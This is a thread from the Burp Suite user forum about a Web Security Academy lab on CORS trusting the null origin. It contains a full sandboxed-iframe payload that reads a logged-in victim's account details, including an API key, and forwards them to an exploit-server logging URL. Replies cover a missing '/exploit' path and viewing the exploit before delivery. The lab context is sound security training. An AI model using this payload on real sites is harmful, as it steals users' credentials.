Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum will be discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Centre. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTRE DISCORD

Create new post

CORS vulnerability with trusted null origin sends site to victim but victim does not visit site

houzichaoisii | Last updated: Aug 19, 2024 07:37AM UTC

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a7600fa04127d458022269e00e60074.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='https://exploit-0a37005604c97d3f801625f701bc007c.exploit-server.net/log?key='+encodeURIComponent(this.responseText); }; </script>"></iframe> I checked the access log after sending this to the victim, but all that came back was my own API key.

houzichaoisii | Last updated: Aug 19, 2024 07:41AM UTC

/exploitをついかしたらいけた

Ben, PortSwigger Agent | Last updated: Aug 20, 2024 07:18AM UTC

Hi, Out of interest, did you happen to view your exploit before delivering it to the victim?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.